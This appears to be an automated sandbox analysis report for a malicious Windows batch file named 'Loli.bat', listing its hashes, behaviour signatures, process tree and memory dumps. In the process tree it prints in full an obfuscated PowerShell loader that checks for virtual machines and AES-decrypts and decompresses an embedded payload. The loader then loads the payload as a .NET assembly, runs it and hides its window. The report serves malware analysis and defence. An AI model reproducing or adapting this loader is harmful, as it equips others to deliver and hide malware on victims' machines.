Resubmissions

28-12-2024 23:21

241228-3cea8svmcx 10

28-12-2024 23:15

241228-28pw6svnfk 10

Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28-12-2024 23:15

General

  • Target

    Loli.bat

  • Size

    7.3MB

  • MD5

    d96987d5645d0a45dc0830e166db747e

  • SHA1

    ffe0eb0aaca891bba84dd508accdbbc2df6d59f9

  • SHA256

    c07250a2ea7a8523defaa97352e48b28106c21a111c81285a9ab0a34843bdc0d

  • SHA512

    43d8c564977621e9368023aa3b7405b52e3d5a0d9e4c4cd4e9755be5023f59d23408cf7d50c388865d4d9215789917d5d099e66614fbb08fab38f65b94c6fa4b

  • SSDEEP

    49152:DaNZgAgNBABjEgJfptzhAZ4TNiuEq9oRmcXMLEg4y07s8HuxsTZAOcHqjEItFHEH:4

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Windows\system32\fsutil.exe
      fsutil fsinfo drives
      2⤵
        PID:1600
      • C:\Windows\system32\findstr.exe
        findstr /i /c:"WDS100T2B0A" /c:"DADY HARDDISK" /c:"QEMU HARDDISK"
        2⤵
          PID:1364
        • C:\Windows\system32\cmd.exe
          cmd.exe /c echo function Hhsg($LiTn){ Invoke-Expression -Verbose -WarningAction Inquire -Debug -InformationAction Ignore '$DeVs=[heSheyshetheehemhe.heSheecheuherheihethey.heCrheyphetheohegherahephehyhe.heAheeheshe]:he:Cherheeahetehe(he);'.Replace('he', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore '$DeVs.MIHoIHdeIH=IH[IHSIHyIHsIHteIHmIH.IHSIHeIHcuIHriIHtyIH.IHCIHrIHypIHtIHogIHrIHaIHpIHhIHy.IHCiIHpIHheIHrMIHoIHdIHeIH]IH::IHCBIHC;'.Replace('IH', ''); Invoke-Expression -Verbose '$DeVs.Pljaljddljiljnljglj=lj[ljSyljsljtljeljmlj.Sljecljurljiljtljylj.Cljrljypljtljoljgljrljapljhylj.ljPaljddljiljnljgljMljodlje]lj:lj:PljKljCSlj7lj;'.Replace('lj', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire '$DeVs.KHheHhy=Hh[HhSHhyHhsHhtHhemHh.HhCHhoHhnHhveHhrtHh]:Hh:HhFHhrHhomHhBHhasHheHh6Hh4HhSHhtrHhinHhgHh("gHhbHh5jHhQHhWHhRHhKHhWHhZrHhgHhJHh9HhNHhDNHhseHhnGHhFHhNHhAHhBxHhNHhWxHhFHhsHh2HhKHhy8HhoaHhNHh0RHhp8HhMHh=");'.Replace('Hh', ''); Invoke-Expression -Debug -WarningAction Inquire '$DeVs.IUOVUO=[UOSUOyUOsUOtUOeUOm.UOCUOoUOnUOvUOerUOt]UO::UOFUOrUOoUOmBUOaUOseUO6UO4UOSUOtUOriUOngUO("VUORUOrPUOaUOhUOWUO+UOjUOBtUOXUOOUOTUORUOTxUO0eUOfbUOgUO=UO=");'.Replace('UO', ''); $wkZk=$DeVs.CreateDecryptor(); $NmOc=$wkZk.TransformFinalBlock($LiTn, 0, $LiTn.Length); $wkZk.Dispose(); $DeVs.Dispose(); $NmOc;}function DmpQ($LiTn){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire '$YiDY=Nszeszw-szOszbszjszeszcszt szSszyszssztszemsz.IszO.szMszeszmszorszyszStszrszeszaszm(,$LiTn);'.Replace('sz', ''); Invoke-Expression -Verbose '$wirR=Nszeszw-szOszbszjszeszcszt szSszyszssztszemsz.IszO.szMszeszmszorszyszStszrszeszaszm;'.Replace('sz', ''); Invoke-Expression -InformationAction Ignore -Verbose '$UvnG=NRleRlw-RlORlbRljRleRlcRlt RlSRlyRlsRltRlemRl.IRlO.RlCRloRlmRlprRleRlssRliRloRlnRl.RlGZRlipRlSRltrRleaRlmRl($YiDY, [RlIRlO.RlCRloRlmRlpRlrRlesRlsRliRloRlnRl.CRlomRlprRleRlsRlsRlioRlnRlMoRldRleRl]Rl:Rl:DRlecRloRlmpRlreRlsRls);'.Replace('Rl', ''); $UvnG.CopyTo($wirR); $UvnG.Dispose(); $YiDY.Dispose(); $wirR.Dispose(); $wirR.ToArray();}function aQPr($LiTn,$kClj){ Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire -Debug '$oOWF=[WWSWWysWWtWWeWWmWW.WWRWWefWWlWWeWWcWWtWWioWWn.WWAsWWsWWeWWmWWblWWyWW]:WW:WWLWWoWWaWWd([byte[]]$LiTn);'.Replace('WW', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$SUjQ=$oOWF.EClnCltrClyClPCloCliClnClt;'.Replace('Cl', ''); Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore -Verbose '$SUjQ.SYISYnvSYoSYkSYeSY(SY$SYnuSYlSYlSY, $kClj);'.Replace('SY', '');}$ktyR = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $ktyR;$AWzc=[System.IO.File]::ReadAllText($ktyR).Split([Environment]::NewLine);foreach ($dMFJ in $AWzc) { if ($dMFJ.StartsWith('gbUIp')) { $OujB=$dMFJ.Substring(5); break; }}$JACM=[string[]]$OujB.Split('\');Invoke-Expression -Verbose -InformationAction Ignore -Debug '$xGG = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');Invoke-Expression -Verbose -WarningAction Inquire '$bQz = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');Invoke-Expression -Debug -Verbose -InformationAction Ignore -WarningAction Inquire '$urF = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');aQPr $xGG $null;aQPr $bQz $null;aQPr $urF (,[string[]] (''));
          2⤵
            PID:2468
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2156

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/2156-4-0x000007FEF5CAE000-0x000007FEF5CAF000-memory.dmp

          Filesize

          4KB

        • memory/2156-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

          Filesize

          2.9MB

        • memory/2156-6-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

          Filesize

          32KB

        • memory/2156-9-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

          Filesize

          9.6MB

        • memory/2156-8-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

          Filesize

          9.6MB

        • memory/2156-7-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

          Filesize

          9.6MB

        • memory/2156-10-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

          Filesize

          9.6MB

        • memory/2156-11-0x000007FEF5CAE000-0x000007FEF5CAF000-memory.dmp

          Filesize

          4KB

        • memory/2156-12-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

          Filesize

          9.6MB